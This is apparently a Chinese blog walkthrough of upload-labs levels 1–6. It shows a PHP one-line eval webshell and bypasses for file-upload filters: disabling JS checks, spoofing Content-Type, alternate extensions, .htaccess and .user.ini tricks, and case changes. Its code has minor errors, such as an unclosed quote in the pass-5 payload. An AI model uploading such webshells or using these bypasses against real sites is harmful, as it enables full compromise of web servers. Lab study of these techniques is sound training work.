upload (1-6)

一句话木马

   <?php @eval($_POST['x']);?>

基本原理:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀或者蚁剑即可获取和控制整个网站目录。表示后面即使执行错误,也不报错。

分析

<?php  >  基本框架

@符号的意思是不报错,即使执行错误,也不报错。

密码为 x  原因:

php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就   是a这个变量,用post的方法接收。

eval的用处:

eval()把字符串作为PHP代码执行。

例如:eval("echo 'a'");其就等于直接 echo 'a';

          再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。

上传成功后就可以通过 蚁剑或者菜刀连接

pass-1

查看源码发现是前端JS校验 直接禁用 js

禁用后直接上传 木马文件

令 x=phpinfo()     (用来显示php的一些信息)

pass-2

 第二关为后端检测 不能使用上一关的办法  需要用burp抓包 修改文件类型

Content-Type:也叫互联网媒体类型(Internet Media Type)或者 MIME 类型,

在 HTTP 协议消息头中,它用来表示具体请求中的媒体类型信息。

例如:text/html 代表 HTML 格式image/gif 代表 GIF 图片Image/png 代表 GIF 图片application/octet-stream 二进制流,不知道文件类型(PHP)application/json 代表 JSON 类型            ------培训ppt

抓包

修改文件类型

放包

上传成功

pass-3

黑名单绕过

禁止上传 asp....php后缀文件   但是黑名单不完全 可以通过一些畸形后缀名通过 php1、php2、php3、php4、php5、php7、pht、phtml、 phar、 phps、Asp、aspx、cer、cdx、asa、asax、jsp、jspa、jspx等   

将后缀名改成 .php3

前提条件 pache的httpd.conf有配置代码AddType application/x-httpd-php .pht .phtml .phps .php5 .pht

pass-4

可以看到禁止上传畸形后缀名    

可以先上传.htaccess    SetHandler application/x-httpd-php

可以把任何文件形式解析为php

上传.htaccess后  再把一句话木马的后缀改为.jpg上传   即可成功

pass-5

观察源码

发现不仅禁用了畸形后缀名 还禁用了.htaccess

所以以上方法都不可以   查看源码提示

查询可知可以用.ini做

user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
   CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
   .htaccess 文件有同样效果。
   
   除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
   根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
   
   在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
   设置可被识别。
   
   两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
   
   user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
   .user.ini。
   
   user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

                                                                       ————————百度

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

所以首先创建一个 user.ini文件

.user.ini文件里的意思是:所有的php文件都自动包含721.jpg文件。.user.ini相当于一个用户自定义的php.ini

接着上传721.jpg文件,文件内容为:<?php @eval($_POST['x721]);?>

上传完成后成功。

pass-6

查看源码   

与上一题相比  禁用了.ini    但是没有使用strtolower()函数,可以使用大小写绕过黑名单

将文件后缀改为 .Php   直接上传

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你怎么睡得着的!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值